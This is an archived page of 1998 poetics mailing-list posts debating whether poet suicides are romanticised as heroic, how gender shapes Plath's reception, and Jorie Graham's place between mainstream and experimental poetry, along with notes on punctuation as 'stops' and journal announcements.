There's suicide (Plath, Sexton, Celan, Berryman) and "suicide" (Dylan Thomas, Jack Spicer, Malcolm Lowry--drinking oneself to death ; or risky behavior -- the version that Shelley, sailing into a storm, was crying out "more sail!" etc etc) and it does have something heroic about it. It appears to operate as an underlining of the poet's wholehearted dedication to his/her art. As a choice of the poetic of life as against the conformist demands of society. As if there is an authenticity to living out a fatal drive that is absent from the heavily negotiated life many of us elect to endure.

Of course, it's despicable, all that, "chickening out", breaking the hearts of spouses and friends and children. (Dylan Thomas left behind of kids a bunch. Who must be in their 40s by now. Anyone know how they are? They must be mentioned in the widow Caitlin's _Leftover Life to Kill_ but I havent read it.)

David

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788. Gabriel Gudding
SYCAMORE REVIEW
Fri 20 Feb 1998

"What do we mean by experimental? Precisely."

The Sycamore Review

is inviting submissions and subcribers to witness its new leaf.

It done found itself in the middle of an aesthetic turning.

Last issue features the work of Araki Yasusada, Bill Knott,
Catherine Bowman, Charles Webb,
Ron Padgett, Campbell McGrath,
Denise Duhamel, Dan Morris,
David Cameron (see his false translations
from _Les Fleurs Du Mal_),
the criticism of
Mikhail Epstein, & interviews
w/ the aforementioned McGrath & Bowman

Subscriptions to _Sycamore Review_ are $10.00 ($12.00 foreign, U.S. funds) for two issues per year (Winter/Spring and Summer/Fall). Sample copies are available for $7.00 eaach ($8.00 foreign etc). Make checks payable to Purdue University. Write to

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Heavilon Hall
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W Lafayette IN 47907

If you would like to submit work, please address to attn of Gabe Gudding.

Gabe Gudding
Poetry Editor, Syc Rev

↑ Index

789. **Miekal And**
Re: "stops"
Fri 20 Feb 1998

welcome to the list tom, its good to see you in cyberspace, have your crash helmet & flaming pen ready.

miekal

Tom Beckett wrote:

.
> I'm new to the list and hopeful that this might be a somewhat different spin
> on things.

↑ Index

790. **david bromige**
p s to suicide
Fri 20 Feb 1998

I apologize for using two message-spaces where I could have done this in one. . . I blame my slow "suicide" through martinis and painpills for this morning-after forgetfulness. (But then, blame the pain, which is the physical kind, one I keep trying to refuse, nothing of the "suffering artist" sort, although I know that too. But to _that_, I'm "adjusted". Don't understand poets who subscribe to religious dogma : dont want anything but poetry between me and my psychic pain). . .

But I should have added to my prior post on this topic, that in the heroic there is always a refusal of some kind. With innovators, for example, who refuse the recent conventions.There have been poets who, although their verbal gifts would have stood them in good stead in society, refused society, became recluses, devoted what life was theirs to their art. And the greatest refusal is of life itself. This always leaves the hero vulnerable (which is surely a meaning of Achilles' heel). The ground a hero stands on is, wretched mix of metaphor, but psychical sound, his or her blind spot. And suicides are vulnerable to the charge of utter selfishness. David

↑ Index

791. Gabriel Gudding
Re: poet-heroes & suicide
Fri 20 Feb 1998

Butting in also: Frank Stanford, b. 1949, did, in the words of T. Lux, stop his own clock -- "with three lead thuds" -- in 1978; "irreversible cliche." (See _Sunday_). He too was thirsty.

Gabe

↑ Index

792. Miekal And
f stanford website?
Fri 20 Feb 1998

Gabriel Gudding wrote:
>
> Butting in also: Frank Stanford, b. 1949, did, in the words of T. Lux,
> stop his own clock -- "with three lead thuds" -- in 1978; "irreversible
> cliche." (See _Sunday_). He too was thirsty.
>
> Gabe

I seem to remember that there was mention of a frank standford website being put up, did that ever become cyberreal, or jus' another those occasions of reading poetics list in my dreams....

miekal

↑ Index

793. k. lederer
Re: Reply to Katy Lederer
Fri 20 Feb 1998

Gary,

Of course, on some level, everything is a "gender issue" in any society--

Perhaps my use of the word "obvious" was meant to include not only Plath's reputation and the ramifications of her biography on her reputation (as well as on Hughes') but also a number of larger issue facing female poets--

I am 25 right now--trying to think of ways to continue to write--it is no news that women writers must face different challenges than male writers--

There are familial pressures, societal pressures etc.--and these relams of a person's life often care little for "art" or the person in question as an "artist"--

Historically, of course, allowances have been made for the "artistic temperment" or "intellectual self-absorption" associated with writers--

But most of this discourse has been contructed around a male-identified writer--

I think it is more than obvious that Plath's legacy and what we are to make of it is made more complicated by the fact that she was a woman--a mother and a wife.

In many intellectual traditions (I am thinking of Rabbinical ones most specifically) women were forbidden to even learn to read and write--

This is not a legacy that disappears with even a few generations--

I find it strange that so many people on this list feel the need to deny the effect of such a legacy--

In recent posts I have heard people deny that the taking of a man's last name by a woman has any connection to the oppression of women, that it is not necessary to seek out women writers for publication if the editor is a man and fraternizes with men, that Sylvia Plath is not seen differently because of her gender--

Could someone please explain to me how it has come to be that such denials seem possible to make at this point in time?

Best regards,
Katy L.

***

On Fri, 20 Feb 1998, Gary Sullivan wrote:

> *Hi, Katy:*
>
> *Could you please tell us who those male poets are who "killed themselves in one way or another and been figured to be heroic"? My own sense is that this simply isn't true, but realize it's just "a sense" I have.*
>
> *When I'd read that Richard Brautigan committed suicide I was very upset, had just finished _So the Wind Won't Blow It All Away_, thought more would be coming, couldn't understand why he'd did it. Keith Abbott's book on Brautigan, as I remember it, hardly cast Brautigan as a hero; my memory of Abbott's portrayal of Brautigan was that B. was a self-involved substance abuser, obsessed with fame, bitter over waning critical attention & audience in the U.S., his suicide (as cast by Abbott) as pointless, if inevitable (given Brautigan's increasingly negative frame of mind). Reading Lew Welch's letters (_I Remain_), it's baffling as to why, once he'd been set up in a cabin, seemingly had all the time in the world to write (time being a constant problem for Welch), he chose then to "give up." I certainly don't--& no one I've read or talked with does--cast his apparent suicide as "heroic." I'm not that well acquainted with Berryman's work, or whatever discourse surrounds it, but I've*

> *never heard or read anyone calling him a hero for leaping into the Mississippi. The only more-or-less contemporary instance I can think of is in the discourse surrounding d.a. levy's suicide--and there what you'll get are people who believe he was either driven to it by the local authorities (this was in Cleveland, in the 60s--levy, Jim Lowell & others were consistently hassled, jailed, & generally watched), or actually murdered by them. In that instance, the narrative seems to be less about the suicide itself than the constant hassles--people talk about his death in the way people talk about that of Lenny Bruce.*
>
> *I have to admit that, while I'm a reader & admirer of Plath's poetry, I haven't read much of the secondary material, and am not sure how, say, a professional critic is likely to think and write about her suicide. I do know that a few of the people I've talked to about her see her as, if not quite "heroic," certainly as a kind of martyr--something I don't think helps anyone understand or (more importantly) appreciate her often extraordinary writing. But these people were young college kids (like me at the time), and more given to uncritical romanticism than they might be today.*
>
> *Anyway, I'm not sure that this is, as you say, a "gender" issue, and if I'm going to buy that, I need something more substantial from your end than the assertion that it's "obvious." If what you say is true, it's definitely worth thinking about. Can you maybe elaborate on your earlier post?*
>
> *Thanks, Katy.*
>
> *Yours,*
>
> *Gary Sullivan*
> [redacted]

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794. Miekal And

pose / poise

Fri 20 Feb 1998

---

emma:

whaddya know about vispo?

miekal and

age 40

↑ Index

795. Joe Amato/Kass Fleisher
Re: poet-heroes & suicide
Fri 20 Feb 1998

---

well, you can tell i'm over the flu!...

i think "reception of suicide," if that's what we're talking about, is gendered, yes... but to me and more important is the history of women's lit. in general---to which i assume katy and others are making appeal, finally---and of the various conflicts women writers have faced that men have not faced... and of the (obvious, in my view) support structure that tends to put women at men's disposal in this regard... i wish sandra braman were here to talk about this, wrt douglas woolf (assuming sandra would want to talk about it, and generalize thence)... whether this leads to suicide or simply to depression and anxiety and and and is, to me, a finer distinction (not that i don't value life as such)... i would have thought that books like dale spender's _mothers of the novel_ would have made this patently obvious...

ok, i'm using "obvious" too much!... but really---a careful look at the history of the novel, say, in the 18th and 19th centuries, based on the past twenty or so years of scholarship by (by & large) women, should confirm these realities...

re rasula: well i didn't really like kostelanetz's critique, though evidently, as i say, he lands on research errors in rasula's substantial appendices... but to spend the bulk of his little review picking on the appendices and not on the gist of jed's argument is a mistake, methinks... my review of jed's book, unabashedly positive, at

http://muse.jhu.edu/journals/postmodern_culture/v006/6.3r_amato.html

(you need access to project muse to get to pmc)

i feel like i'm advertising myself around here, apologies even as i hit SEND///

best,

joe

↑ Index

796. Mark Prejsnar
tabula rattled
Fri 20 Feb 1998

Elizabeth,

*Jed's name is spelled Rasula: you've added a "d".

*But I'm glad you mentioned his book, American Poetry Wax Museum. Actually, people keep discovering it and starting a new thread here on the list about

it...That's how I first heard of it, then after reading it a talked it up here on a couple of different occasions.

*As I said then, it's exceptionally good at analyzing the lines of interrelation and force in the whole culture of US poetry (of all types) over most of this ending century..It gets much strength from being written by a fine poet whose own work is not mainstream but who is interested in the whole universe of possible poetries, even stuff that's very conservative compared to him...

*For instance, after reading Wax Museum, it's interesting to see his piece in a recent Chicago Review (dated Fall 1997), which I've just been reading: he reviews 10 books which he feels approach the idea of the *book of poetry* as a coherent form. His interests (and praise) stretch a bit wide for me: Jorie Graham?? I continue to resist the idea (suggested by many) that she's moving into an interesting space away from the conventional and mainstream; But anyway, Rasula's interests as a critic and commentator on the poetry scene gain from his apparent urge to see the best in any poet's work (or at least, to respond to whatever virtues they have, of whatever type..)

*Generosity of spirit is always bracing..

Mark P.
@lanta

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797. **Henry Gould**
query LVNG
Fri 20 Feb 1998

Does anyone know if the Chicago mag LVNG is going to appear? Or when? You can backchannel - [redacted]. Thanks! - HG

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798. **Henry Gould**
Re: poet suicides
Fri 20 Feb 1998

On Fri, 20 Feb 1998 11:47:56 -0800 david bromige said:
>There's suicide (Plath, Sexton, Celan, Berryman) and "suicide" (Dylan
>Thomas, Jack Spicer, Malcolm Lowry--drinking oneself to death ; or risky
>behavior -- the version that Shelley, sailing into a storm, was crying out
>"more sail!" etc etc) and it does have something heroic about it. It
>appears to operate as an underlining of the poet's wholehearted dedication
>to his/her art. As a choice of the poetic of life as against the conformist
>demands of society. As if there is an authenticity to living out a fatal

>drive that is absent from the heavily negotiated life many of us elect to
>endure.

Self-destructive egotistical antisocial behavior is not considered heroic or poetic by the poets themselves in these cases. The behavior is just one of the perks. -Henry Gould

↑ Index

799. **J. Kuszai**
several unrelated topics
Fri 20 Feb 1998

---

in the interest of taking up only my 1/50th share in the days discussings, I'd like to bring up some things here.

1. as someone who has known people who have instigated unmotivated attacks on themselves often unto death--and however it is accomplished, the effect is finally the same--let me say simply that the romance and heroism of self-inflicted violence is purely a reader's fantasy here.

2. Several people responded to my call for work for my e-zine. I would like to reiterate that call for work for STUDENT PERIODICAL CLUB. Any kind of writing would be great, but I am going to put out a special call for essayistic, journalistic-type, critical expository prose, with an emphasis on culture and its manic inhabitants. The site is going to be based on an image map I stole from the Smithsonian. This will happen without you, but wouldn't it be better if you sent me something...

the front door is located at http://www.acsu.buffalo.edu/~kuszai/spc

3. I am preparing a poetics list survey. In order for it to be an accurate measure of the list, I would hope that there would be a strong reply to this survey when it goes out. In order to drum up some enthusiasm for this private marketing analysis of poetics list readership, I was thinking that there could be a sweepstakes. I will donate a complete set of Meow Press catalog items and all the available ephemera (approx 65 books) to the sweepstakes winner. Maybe we could have multiple prizes. Anyone willing to pledge something for the jackpot please contact me soon. [this survey is not being done under the auspices of official list management or my position as list manager-unlocker]

4. If there is anyone in San Diego area who would like to meet up or tell me what events are happening, I will be there for two weeks in early March. I'm happy to meet for coffee, etc., in the evenings when the archive at UCSD is closed.

bye-bye

↑ Index

800. **Rachel Loden**
Re: poet-heroes & suicide
Fri 20 Feb 1998

Well, Mayakovsky--if you want monuments and statues, schools and metro stations named after you. But he's not Stalin's creature nor is Plath captive of those who'd crown her queen victim or, like Hughes, queen other (those wild aboriginal lips!). Have to say it's great to hear Dodie Bellamy and Marjorie Perloff and Katy Lederer talking about her poems _as poems_. The mawkishness of the suicide cult had kept me at arm's-length for decades (despite an early immersion). Just last year it seemed I could finally slough off some of the embarrassment and acknowledge a musical debt. Then, of course, Hughes comes along and deposits his giant, uh, egg.

But suicide romance and poetic lineage--there's this from Ginsberg, "Improvisation in Beijing" : "I write poetry because Russian poets Mayakovsky and Yesenin committed suicide, somebody else has to talk . . . "

Rachel Loden

↑ Index

801. **sylvester pollet**
poetics of suicide
Fri 20 Feb 1998

Let's face it, suicide is the ultimate closed-form. It is not new, not innovative, not experimental, not revolutionary. It is stupid and depressing, and kills writers. Don't anybody do it.

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802. **raea100900**
Re: Tender buttons query
Fri 20 Feb 1998

I think Lee Ann Brown is/was Tender Buttons, so to speak.

↑ Index

803. **Christopher W. Alexander**
Re: "stops"
Fri 20 Feb 1998

Tom Beckett writt:
> >What about conceiving a poem as a series of "stops"?

Judy Roitman wroth:
> Anne Carson went through a period of ending every line with a period.
> Whether it was the end of a sentence or not.

I'm reminded of Peter Inman's work, some of which
can be thought of exactly as a series of stops, but
structured by a unit much smaller than the line. See
for instance Vel (a wonderful book), where. at. times.
each. word. or at. most. a small. group. is. a. full. stop.
the effect is better there than I'll bother to attempt here,
because of the variety of utterances – i.e., sometimes,
as above, you'll find a "normal" sentence or utterance
thus divided, but it might be in a sea of single- and
multiple-word fragments – or perhaps a better way
of saying that is that P. Inman is Steinian not only
in his attn. to language, but in that his work is more or
less continuous with the world, departing from and
returning to things and utterances as it finds them fit.

The period (mark and unit) punctuates the work more in the sense of "puncture" than score (or in the sense of "score" as notch, mark showing starting place, etc.); as a reader, one is asked relentlessly to re-begin, negotiating a full-stop usually reserved for line-breaks and ends of phrase, so much so that I would risk saying period is everything to the work, it's deliberate focus. The attention it requires is incredible – tension that comes from reading every single word ad literam. But happily one continues, because pulling across those periods is a text that moves between a richly "material" language and the things of the world (speech and its objects).

Anyone else familiar with this book? it's a favorite of mine.

Chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

↑ Index

804. Christopher W. Alexander
it's the water
Fri 20 Feb 1998

---

btw, I've been thinking abt. the intersection of meanings in the word "material" (artistic, Marxian, "of import") as a node for poetry over the last decade; comparable maybe to the word "moment" in Williams (time, import) or – what other examples? Olson's "field" maybe, etc.

To what degree to folks here find their work (in the um "larger" sense) driven by such peculiarities or tics of vocabulary?

oh, "vocabulary": one always thinks Spicer with that word – surely he's worth mentioning in the context of posthumously romanticized self-destructiveness.

oh, and talk about "male artistic needs": Philemon, who would have himself hanged to visit Euripides in Hades, if only he could be sure E. would have retained his senses. I mean, like, what a jerk.

Chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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805. k. lederer
Re: Jorie Graham
Fri 20 Feb 1998

As per your comment about Jorie Graham--

I think her work is interesting in that almost all of its "avant-gardeness" in the eyes of the mainstream emanates from its manner of punctuation and form--

In general at Iowa form is the dominating signifyer of "experimentalism" or "avant-gardeness"--

That's why Plath is such an interesting case--

Her work, in my view, is incredibly "experimental" and "avant-garde" because her tone and general content were so emotionally innovative--

Graham is very old-school in terms of her content (as apart from her form in this example) as she is most influenced by the philosophical and aesthetic trajectories associated with W Stevens and various philosophers (from Plato to Nietzsche)--

The content of her work seems focused on temporal modulations of emotion, the textures of things as they are imbued with emotional intensities, intellectual hestiation and revision and so on...

Her formal characteristic might superficially resemble those of Scalapino, the recent Guest--even Alice Notley--but her intellectual
interests do not coincide with these writers to any significant degree--

Plath, on the other hand, uses superficially "traditional forms," but within them we find a range of poetic innovations--

Best,
Katy L.
***

On Fri, 20 Feb 1998, Mark Prejsnar wrote:

> *Elizabeth,*
>
> **Jed's name is spelled Rasula: you've added a "d".*
>
> **But I'm glad you mentioned his book, American Poetry Wax Museum. Actually, people keep discovering it and starting a new thread here on the list about it...That's how I first heard of it, then after reading it a talked it up here on a couple of different occasions.*
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> **As I said then, it's exceptionally good at analyzing the lines of interrelation and force in the whole culture of US poetry (of all types) over most of this ending century..It gets much strength from being written by a fine poet whose own work is not mainstream but who is interested in the whole universe of possible poetries, even stuff that's very conservative compared to him...*
>
> **For instance, after reading Wax Museum, it's interesting to see his piece in a recent Chicago Review (dated Fall 1997), which I've just been reading: he reviews 10 books which he feels approach the idea of the *book of poetry* as a coherent form. His interests (and praise) stretch a bit wide for me: Jorie Graham?? I continue to resist the idea (suggested by many) that she's moving into an interesting space away from the conventional and mainstream; But anyway, Rasula's interests as a critic and commentator on the poetry scene gain from his apparent urge to see the best in any poet's work (or at least, to respond to whatever virtues they have, of whatever type..)*

> **Generosity of spirit is always bracing..*
>
> *Mark P.*
> *@lanta*

↑ Index

806. Mark Weiss
poet-heroes, suicide and women's lot
Fri 20 Feb 1998

"alcoholism is only a more drawn out form of suicide and we could dance all night with that list."

"In many intellectual traditions (I am thinking of Rabbinical ones most specifically) women were forbidden to even learn to read and write--"

"the various conflicts women writers have faced that men
have not faced... and of the (obvious, in my view) support structure that
tends to put women at men's disposal in this regard"

If we generalize enough all distinctions get lost. Alcoholism is bad for mind and body, and _sometimes_ it's an act of slow suicide, but so is life. I mean, we're talking about different syndromes with different impacts on one's surroundings.

I thought that in the shtetl women were forbidden to study with the men, which meant in practice that they didn't learn biblical hebrew or talmudic aramaic. Literacy in the other available languages was pretty common in women, as they often conducted most of the business with the world beyond family and village. My grandmother, whose father was a blacksmith, grew up fluent in Yiddish, Russian and Polish, to which she added English when she emigrated, all of which she read voraciously, and I know for a fact that she wasn't unusual for her time and place. But I'm willing to be enlightened.

I've known several women writers whose husbands' work funded their literary careers and afforded them lots of time for writng. I don't know too many men who can say that.

Which is not to say that I don't realize that women's and men's lots are different and that most women have different and perhaps more obstacles to face. I merely mention these caveats in the interest of clarity, to which I am addicted, and to make trouble, which is also fun sometimes.

↑ Index

807. **d powell**
Re: enough about Graham
Fri 20 Feb 1998

Reply to: RE: enough about Graham

Mark Prejsnar wrote:

> **For instance, after reading Wax Museum, it's interesting to see his piece in a recent Chicago Review (dated Fall 1997), which I've just been reading: he reviews 10 books which he feels approach the idea of the *book of poetry* as a coherent form. His interests (and praise) stretch a bit wide for me: Jorie Graham?? I continue to resist the idea (suggested by many) that she's moving into an interesting space away from the conventional and mainstream*

Mark,

By "mainstream" do you mean "like everybody else"? In that case, Graham has never been "mainstream." If by "mainstream" you mean "popular," then I think she's actually moving into the "mainstream," not because she is stylistically or formally easy, but perhaps precisely because she is not. However, if you mean "mainstream" as a shorthand for "Iowa Writers' Workshop," just as a generation used "Iowa Writers' Workshop" as shorthand for a particular type of poem, I would argue that, IF indeed the workshop is the mainstream, then Graham has done much to make that stream a more interesting place to splash around in. While I was in Iowa, Graham brought an aesthetically diverse group of instructors to the program--Brenda Hillman, Killarney Clary, Heather McHugh, Bob Perelman, Robert Hass, Tom Sleigh. Moreover, the work that workshop students were producing is some of the finest poetry being published today, from Jeff Clark's recent book from Sun and Moon, to Reginald Sheppard's wonderful "Some Are Drowning," to Jessica Lowenthal's soon to be released chapbook from Burning Deck. When I applied to Iowa, David Bromige cautioned me that the program might pressure me to conform to a (I suppose "mainstream") aesthetic. But then, I read Graham's "The End of Beauty" and I realized that she was balancing some oppositional poetics in remarkable ways. Lyn Hejinian (who will be teaching at Iowa this fall) said that Graham had been "oddly supportive" of her work. And Cydney Chadwick reminded me that Graham had chosen a Nate Mackey poem, first published in Avec, for inclusion in The Best American Poetry. And so, I did go to Iowa, and my aesthetic was not pressured, it was in fact supported and nurtured by Graham and by the odd assemblage of faculty that came through there during those two years.

I think this list does a lot of "Jorie Bashing," holding Graham up as symbolic -- what? The Mainstream? I don't think so. Read her most recent book, The

Errancy. Then go read something that's truly from the "mainstream" (which, nowadays by the by, case anyone hasn't noticed, either looks a hell of lot like Ashbery or a hell of a lot like Sharon Olds). With all due respect, Mark, hopefully, you will discern the difference.

==========
D A Powell [redacted]
==========

↑ Index

808. **Keston Sutherland**
Re: poetics of suicide
Fri 20 Feb 1998

On Fri, 20 Feb 1998, sylvester pollet wrote:

> *Let's face it, suicide is the ultimate closed-form. It is not new, not innovative, not experimental, not revolutionary. It is stupid and depressing, and kills writers. Don't anybody do it.*

no, best not slaughter oneself given the 'unrevolutionary', middle-of-the-road 'non-experimental' nature of doing so. Suicide isn't a "closed form", fer chrissake, neither is it "stupid" - or perhaps my suicide is less -avant- than yours

↑ Index

809. **Tom Beckett**
Re: "stops"
Fri 20 Feb 1998

Allow.me.to.try.again. What I'm trying to approach with my notion of "stops" is that which I think is most fundamental to any art--to make one look, but look again; to touch, but touch again; to perceive, but perceive again; to think, but think again, etc. (I'm as interested in intervening in my own habitual processes as I am in the processes of any potential auditor of my work.)And you are right, the size of the textual unit will vary. Inman is an excellent example. I'm of course interested in the materiality of language but I'm even more interested in an interesting response.Resist habits: there can be official unofficial verse culture too. To sort of pata-phrase Nietzsche--"Every name in history is Elvis." Best wishes,

Tom Beckett

PS: thanks to all who've sent welcoming messages. Glad to be here.

↑ Index

810. Thomas Bell
Re: "stops"
Fri 20 Feb 1998

Those with an interest in stops might want to look at "image" on the wr-eye-tings scratchpad. I was trying to explore "stop" in the sense of not being able to get out of a maze and the action or motion of a reader's eye (?attention?) as it moves to the edge of a page and onto the next one. Don't know if I succeedded.
tom bell

http://www.burningpress.org/wreyeting/bell/imageintro.html

To Bob:

"Attaching "Image" for scratchpad--3 pages, 1 gif. Hope
this doesn't get too confusing. Or too frustrating -
one of the things I am curious about here is how this
'maze' affects viewers frustration tolerance. It may
also be that in other browsers it doesn't work."

At 04:46 PM 2/20/98 MST7MDT, Christopher W. Alexander wrote:
>Tom Beckett writt:
>> >What about conceiving a poem as a series of "stops"?
>
>Judy Roitman wroth:
>> Anne Carson went through a period of ending every line with a period.
>

↑ Index

811. rsillima
Most appalling quote of the week
Fri 20 Feb 1998

Douglas,

If, as you say,

"I'm not a great fan of his [T Hughes'] writing but as a teacher I have had to include it in courses on post 1945 poetry...,"

you are guilty of malpractice.

Teach what you believe in, or don't bother. There's too much good poetry out there to ever be covered in one college career, let alone one course. To waste it on "official verse culture" is to simply contribute to the a-literacy and poetry-phobia that innundates us all.

Ron Silliman

↑ Index

812. Aviva Wesley Vogel
Jorie Graham Experimental?
Fri 20 Feb 1998

As I'm headed into the last two days before deadline to punch out a thesis on Jorie Graham, I stall some more and read my email...and find that the same quandary paralyzing my work is now played out in the conversation between Mark Prejsnar and Katy Lederer.

Jorie...let's see...where does she "fit"...is she carrying out the Romantic project, the Modernist project? Is she a neo-romantic-symbolist with postmodern convulsions? Yes, I would agree that she travels along the "Wallace Stevens" trajectory to a large degree, and it's certainly true that she struggles in the ontological oscillation that occurs between Plato's Ideals and the search for a Unified Field Theory (or Theory of Everything). Along with those metaphysical oscillations, her work lunges almost schizophrenically between the polarities many would call "mainstream" and "experimental."

It's very frustrating for me to deal with this thesis, because I'd started out thinking that I'd chosen a writer who's aesthetics couldn't be said to "foreground" language as a primary project, but who was finding (particularly in "Errancy") a "new way of looking," who was groping for a new language to create self/culture (a la Richard Rorty). Plus, I was attracted to her flirtations with the dialectic between classical platonic idealism and postmodern contingency and irony.

Reading Jorie Graham, to be very honest, has required a crash course in philosophy and physics---having failed to enjoy a "mainstream" liberal arts education, I really didn't know Plato's "cave" story; I had no idea what Heisenberg's Uncertainty Principle was; I'd heard the name Bergson but knew nothing of his metaphysics; and Voltaire? Montescieu? Mark Rothko? Nietzsche? St. Thomas Aquinas? These were all names I'd heard, as if grasping the label were enough to "know," almost osmotically, what was being referred to, but truly---I had no clue as to what might have been the difference between Nietzsche's "will to power" and Bergson's "flux" and "elan vital" ideas. I couldn't distinguish between the idealism of Plato and the idealism now being generated in response to perspectives derived from "new physics" and quantum mechanics.

In that sense, my experience of Jorie Graham's work has been drastically altered. I've spent the bulk of my reading/research on delving into her allusions and into the disciplines that inform her work, rather than on considerations of her prosodic strategies, linguistic aesthetics, and "place" in the "field" of poetry.

I've been dismayed to discover that what "looked" as though it were reasonably avant-garde form on the page has revealed itself to be "postmodern" or "language"-oriented only in the sense that her "self" is somewhat diffuse; her syntax can get pretty elliptical and paratactic; her structures lean on cinematic techniques, montage and collage, and Conte's "serial" form (sometimes). But these are all techniques and responses that have been done and done and done during the entire twentieth-century, particularly by the Modernists. So...how could I possibly make a case that she was using some of the same strategies as, say, Lyn Hejinian or Kathleen Fraser? Not only was my thesis shot, but I was now drowning in the same polluted waters that everyone else was in their attempts to articulate language poetry, postmodern poetry, avant-garde poetry, or experimental poetry.

I finally decided that Graham was postmodernist in the sense that postmodernism is highly involved in comprehensively reviewing the entire Western Canon, especially in relationship to other canons and non-canonical writing, and that she was engaged in a huge re-evaluation project. If Graham was guilty of any "subversion," though, it was a sneaky kind of subversion, one that crept up on me, that crawled over me at night as I lay sweating, trying to figure out if she was a classical dualistic thinker struggling to embrace a more taoistic view of the universe, or a taoistic/ironic thinker who was longing for classical dualism. Was she trying to gear up for some kind of "quantum leap" into faith in an Ideal reality behind material phenomenon? Was she trying to engage in her own form of Pascal's "wager," seeking some certainty in these indeterminate waters of our current culture? Or was she mutating a quasi-platonism into an odd form of contingency-based, antimetaphysical faith?

I still don't know. Maybe, now that I have only 48 hours to actually write the paper (after all the reading and research I've done), I may "find" the answer in the process of writing...

And maybe not. I may have framed my questions too narrowly. I may be suffering from a highly-deficient lack of context. But somehow, I suspect that Jorie Graham is, in fact, an avant-garde writer of an unrecognizable style, and I damned well mean to find out a way to demonstrate it, if my hunch is born out over the next two days.

Wish me luck. If anyone has any opinions on the matter, and would like to throw some spice into the pot, I would be much obliged for the confusion.

Aviva Vogel

↑ Index

813. Emma Bernstein
Re: Plath and Hughes
Fri 20 Feb 1998

---

to marjorie perloff,

i, who have read many works by plath, and the work in the paper by ted hughes, have to agree with you on every note. i think that ted hughes and his repetitive approach to excuses for plath's death has became an intoxicating journey. he has tried to measure up to the dismal beauty of Sylvia Plath, and he has not succeeded. It must make him feel horrible to be accused of being a murderer, which is what he is (only in the sense of killing her work), so that he felt he must justify himself. which is fine, but in such a vapid approach, it becomes a obvious mere reconciliation. i have heard so many reviews, front page articles, but nothing that he can say, or write, nobody that he can scapegoat, will take away from the selfish deed he did when he took the right to destroy some of Plath's last work, for his own self indulgence.

emma bernstein, age 12 1/2

↑ Index

814. Schuchat Simon
Re: poet suicides
Fri 20 Feb 1998

I appreciate David Bromige's distinction between risktaking and "heroic suicide," and some others have noted the anti-social behavior aspect of poetic heroism. My question is, what about Osip Mandelstam? Wasn't his "anti-social behavior" (comparing Stalin's mustache to a cockroach, etc, in a poem) or, should we call it risk-taking?, also suicidal?

Joseph Brodsky, in his essay on Mandelstam, argues that Mandelstam's character as a poet would have led to his "doom" anywhere, not just in Stalin's Russia. Brodsky isn't criticising Mandelstam when he says this, he is making the point that Mandelstam was not fundamentally political, he was just a poet.

Mandelstam did try to reform his behavior, by the way, attempting to write a panegyric to Stalin, but it couldn't compensate for the cockroach metaphor.

Meanwhile, Osip left behind Nadzhevda (I'm sure I misspell, from memory), who doesn't seem to resent Osip for leaving her behind, but rather those persons and forces that put him in his position in the first place.

↑ Index

815. Aviva Wesley Vogel

Jorie, Idealism, Monistic Idealism, Plato, Buddhism...

Fri 20 Feb 1998

I think, by the way, that the difference between a platonic idealism, say, and a buddhistic or quantum idealism, may be in this distinction:

Platonic "archetypes," like quantum "waves," represent an ideal potentiality--but in classical Greek idealism, the archetypes are somewhere "out there," in a transcendent, metaphysical realm. In what I'll call "quantum idealism," the archetypes, the "waves" that "exist" in "potentia" are not "out there," but in consciousness. Consciousness is the ground of being; it isn't the waves, nor the archetypes, that are "real," that unify our universe, but consciousness of both immanent phenomenon and transcendent possibility/contingency. Consciousness is the unifying field, or matrix, holding imminent/transcendent dualities as one reality.

In other words, it is neither the wave nor the particle, neither the archetypes nor the illusions on the cave wall, that are "real." These domains exists inside consciousness; nothing is outside consciousness. It is consciousness that "collapses the wave function" and results in perception of a particle.

So, the duality of Plato's thinking has been replaced by something else...that may someday turn out to be just as dualistic! I mean...could this "unified field theory of consciousness" eventually be seen as establishing yet another polarity...Consciousness vs. Everything Else? Or, Post Big-Bang Consciousness vs. Contemperaneous Big Bang Symmetry?

Help!!!! How the hell am I going to say anything about Jorie Graham's poetry when she's got me swimming around in the questions she's brought up? What poetry? I guess, in that sense, with my focus on her content, on that which her language refers to, that her poetry can be seen as transparent, rather than opaque. If experimental poetry is equated with opacity of language, then she's not cutting the mustard. On the other hand...what is she talking about? Her "position," so oddly uncertain, improbable, and contingent, could hardly be more opaque!!!! And there is the rub...Is she a wave? Is she a particle? Can I assume the role that "consciousness" might normally take and find some synthesis here? Hmmmm....

Aviva Vogel

↑ Index

816. **Aviva Wesley Vogel**

Guardian Angel of the Swarm

Fri 20 Feb 1998

The Guardian Angel of the Swarm
Jorie Graham

inclension of (endogenous)

crannies of (exogenous)

labyrinth swarm

teeming unearthed invagination osciallation

collision suppression

intubation prefiguration

matter is marbled, of two different styles.

**

It is the upper floor it has no windows.
It is a dark room decorated only
by a stretched canvas, diversified by folds,
as if it were a living dermis. Placed there, on the opaque canvas,
folds, cords, springs represent
an innate form of what we call knowledge.
But when solicited by matter
they move into action, trigger

vibrations, oscillations--a correspondence, even a communication--
between the two labyrinths,
between the pleats of matter and the pleats of soul--

(matter is marbled, of two different styles)---

But the universe appears compressed by an active force
that endows matter with a curvilinear or spinning movement,
following an arc that ultimately has no tangent.
And the infinite division of matter causes compressive force
to return all portions of matter to the surrounding areas,

to the neighboring parts that bathe and penetrate the given body---

Dividing endlessly, the parts of matter form
little vortices in a maelstrom, and in these
are found even more vortices, even smaller,
and even more are spinning in the concave
intervals of the whirls that touch one another---

an infinitely porous, spongy or cavernous texture without emptiness---

**

unfolding is thus not the contrary of folding,
but follows the fold up to the following fold---
particles turned into folds that contrary
effort changes over and again---

**

and every fold originates from a fold, plica
ex plica...---an entre-deux, something
"between" in the sense that a difference is being
differentiated--

**

and it is thus the world must be placed in the subject---
in order that the subject be FOR the world---

this is the torsion that constitutes the fold---
thus the soul is what has folds AND is full of folds---

in order that the virtual be incarnate---

(thus the soul is what has folds and is full of folds)---

(the fold moves from inflection to inclusion)---

(infinite seriality may be the soul)---
(curvatures may be in it---)

why would something be folded, if it were
not to be enveloped, wrapped, or put into
something else?---

does what is folded exist only
in something that envelops it?---

is it not exactly point-of-view that includes?---

and when inclusion is accomplished, is it not done
so continuously
